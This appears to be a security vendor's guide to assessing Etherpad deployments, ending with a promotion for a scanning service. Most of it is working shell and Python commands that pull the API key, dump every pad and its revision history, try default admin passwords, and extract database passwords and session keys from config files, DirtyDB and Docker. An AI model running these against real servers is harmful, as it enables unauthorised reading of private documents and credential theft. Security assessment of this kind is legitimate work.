Etherpad is a widely deployed self-hosted real-time collaborative text editor — it is used by organizations for meeting notes, documentation, and sensitive collaborative writing. Key assessment areas: the APIKEY.txt file contains the API key that grants full access to all pad content without user authentication; the admin panel commonly uses weak default credentials; the DirtyDB default storage engine stores all pad content and revision history in a single plaintext file; and pads without passwords are accessible to anyone who can guess or enumerate the pad ID. This guide covers systematic Etherpad security assessment.
# Etherpad — API key extraction and pad content enumeration
EP_URL="https://pad.example.com"
# APIKEY.txt — Etherpad API key stored in plaintext
# If accessible via web, full API access without any authentication
curl -s "${EP_URL}/APIKEY.txt" 2>/dev/null | head -1
# Returns: a random hex string (e.g., "a3b4c5d6e7f8...")
# Read API key from filesystem
EP_APIKEY=$(cat /opt/etherpad/APIKEY.txt 2>/dev/null || \
cat /etherpad/APIKEY.txt 2>/dev/null || \
cat /app/APIKEY.txt 2>/dev/null)
echo "API Key: $EP_APIKEY"
# List ALL pads on the server
curl -s "${EP_URL}/api/1/listAllPads?apikey=${EP_APIKEY}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
pads = d.get('data',{}).get('padIDs',[])
print(f'Total pads: {len(pads)}')
for pad in pads[:20]:
print(f' {pad}')
" 2>/dev/null
# Get content of a specific pad
PAD_ID="meeting-notes-2026-07"
curl -s "${EP_URL}/api/1/getText?apikey=${EP_APIKEY}&padID=${PAD_ID}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
text = d.get('data',{}).get('text','')
print(f'Pad content ({len(text)} chars):')
print(text[:500])
" 2>/dev/null
# Get all authors for a pad (reveals who contributed what)
curl -s "${EP_URL}/api/1/listAuthorsOfPad?apikey=${EP_APIKEY}&padID=${PAD_ID}" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
authors = d.get('data',{}).get('authorIDs',[])
print(f'Authors: {authors}')
" 2>/dev/null
# Get pad with specific revision (access deleted content)
curl -s "${EP_URL}/api/1/getHTML?apikey=${EP_APIKEY}&padID=${PAD_ID}&rev=1" 2>/dev/null | \
python3 -c "
import json,sys
d=json.load(sys.stdin)
print('Revision 1:')
print(str(d.get('data',{}).get('html',''))[:300])
" 2>/dev/null
# Etherpad admin panel — default credential testing
EP_URL="https://pad.example.com"
# Admin panel access
curl -s -o /dev/null -w "%{http_code}" "${EP_URL}/admin" 2>/dev/null
# 200 = admin panel accessible (may be open or require auth)
# 401 = basic auth required
# 302 = redirect to login
# Common Etherpad admin credentials
for CRED in "admin:changeme" "admin:admin" "admin:password" "etherpad:etherpad"; do
USER=$(echo $CRED | cut -d: -f1)
PASS=$(echo $CRED | cut -d: -f2)
RESULT=$(curl -s -o /dev/null -w "%{http_code}" \
-u "${USER}:${PASS}" "${EP_URL}/admin" 2>/dev/null)
echo "${USER}/${PASS}: HTTP ${RESULT}"
[ "$RESULT" = "200" ] && echo " SUCCESS!"
done
# Etherpad admin panel endpoints
# /admin/settings — view/modify settings.json including database credentials
# /admin/plugins — installed plugins list and plugin manager
# /admin/users — user list and session management
# settings.json exposure — may be readable via admin panel
curl -s -u "admin:changeme" "${EP_URL}/admin/settings" 2>/dev/null | \
python3 -c "
import sys, re
data = sys.stdin.read()
# Extract database credentials and sensitive settings
for pattern in ['password', 'apikey', 'sessionKey', 'secret', 'database']:
matches = re.findall(f'\"({pattern}[^\"]*)\"\s*:\s*\"([^\"]+)\"', data, re.IGNORECASE)
for k, v in matches[:3]:
print(f' {k}: {v[:50]}')
" 2>/dev/null
# Etherpad database and DirtyDB pad history extraction
# DirtyDB — Etherpad default storage (single file, all data)
DIRTYDB="/opt/etherpad/var/dirty.db"
# or: /etherpad/var/dirty.db, /app/var/dirty.db
# DirtyDB is a newline-delimited JSON file
# Each line is: KEY\tVALUE
grep -a "^pad:" "$DIRTYDB" 2>/dev/null | head -20 | while read line; do
PAD_KEY=$(echo "$line" | cut -f1)
PAD_DATA=$(echo "$line" | cut -f2-)
echo "Key: $PAD_KEY"
echo "$PAD_DATA" | python3 -c "
import json,sys
d=json.load(sys.stdin)
atext = d.get('atext',{})
if atext:
text = atext.get('text','')
print(f' Content preview: {text[:100]}')
" 2>/dev/null
done
# List all pad IDs from DirtyDB
grep -oP "^pad:[^\t]+" "$DIRTYDB" 2>/dev/null | sed 's/^pad://' | sort | uniq | head -30
# settings.json — Etherpad configuration
cat /opt/etherpad/settings.json 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
db = d.get('dbSettings',{})
print(f'DB type: {d.get(\"dbType\")}')
for k, v in db.items():
print(f' dbSettings.{k}: {str(v)[:60]}')
# Also check:
print(f'adminPassword: {d.get(\"users\",{}).get(\"admin\",{}).get(\"password\",\"\")}')
print(f'sessionKey: {str(d.get(\"sessionKey\",\"\"))[:20]}...')
" 2>/dev/null
# MySQL/PostgreSQL backend — pad revision history
# pad_revs table contains complete changesets for every revision
mysql -h localhost -u etherpad -pPASSWORD etherpad 2>/dev/null << 'EOF'
SELECT store.key,
LEFT(store.value, 200) as value_preview
FROM store
WHERE store.key LIKE 'pad:%'
OR store.key LIKE 'author%'
ORDER BY store.key
LIMIT 20;
EOF
# Docker environment variables
docker inspect etherpad 2>/dev/null | python3 -c "
import json,sys
d=json.load(sys.stdin)
for c in d:
for e in c.get('Config',{}).get('Env',[]):
if any(k in e for k in ['DB_','APIKEY','SESSION','PASSWORD','POSTGRES','MYSQL']):
print(e)
" 2>/dev/null
# DB_PASSWORD — database password
# ADMIN_PASSWORD — admin panel password
# SESSION_KEY — session signing key
| Security Test | Method | Risk |
|---|---|---|
| APIKEY.txt web exposure and pad content extraction | GET /APIKEY.txt — if accessible, full API access to all pads; GET /api/1/listAllPads lists every pad; GET /api/1/getText extracts content without authentication | Critical |
| Admin panel default credential testing | HTTP Basic auth to /admin with admin/changeme — access to all settings including database credentials, plugin management, and API key; plaintext password in settings.json | High |
| DirtyDB dirty.db complete pad history access | Read dirty.db — all pad text content and complete revision history including deleted text; all author identities; no encryption at rest | High |
| Pad enumeration and unauthenticated access | GET /api/1/listAllPads + GET /p/{padID} — enumerate all pad IDs; access pad content without authentication when no password set | High |
| settings.json database credential extraction | Read settings.json — dbSettings.password database connection password; users.admin.password plaintext admin password; sessionKey session signing secret | High |
Ironimo tests Etherpad deployments for APIKEY.txt web exposure and full pad content extraction, admin panel default credential testing (admin/changeme), DirtyDB dirty.db plaintext pad history access, pad ID enumeration and unauthenticated content access, settings.json database password extraction, sessionKey session token forgery assessment, Docker ADMIN_PASSWORD and DB_PASSWORD exposure, revision history deleted content recovery, author identity extraction from pad changesets, and MySQL/PostgreSQL store table pad content enumeration.
Start free scan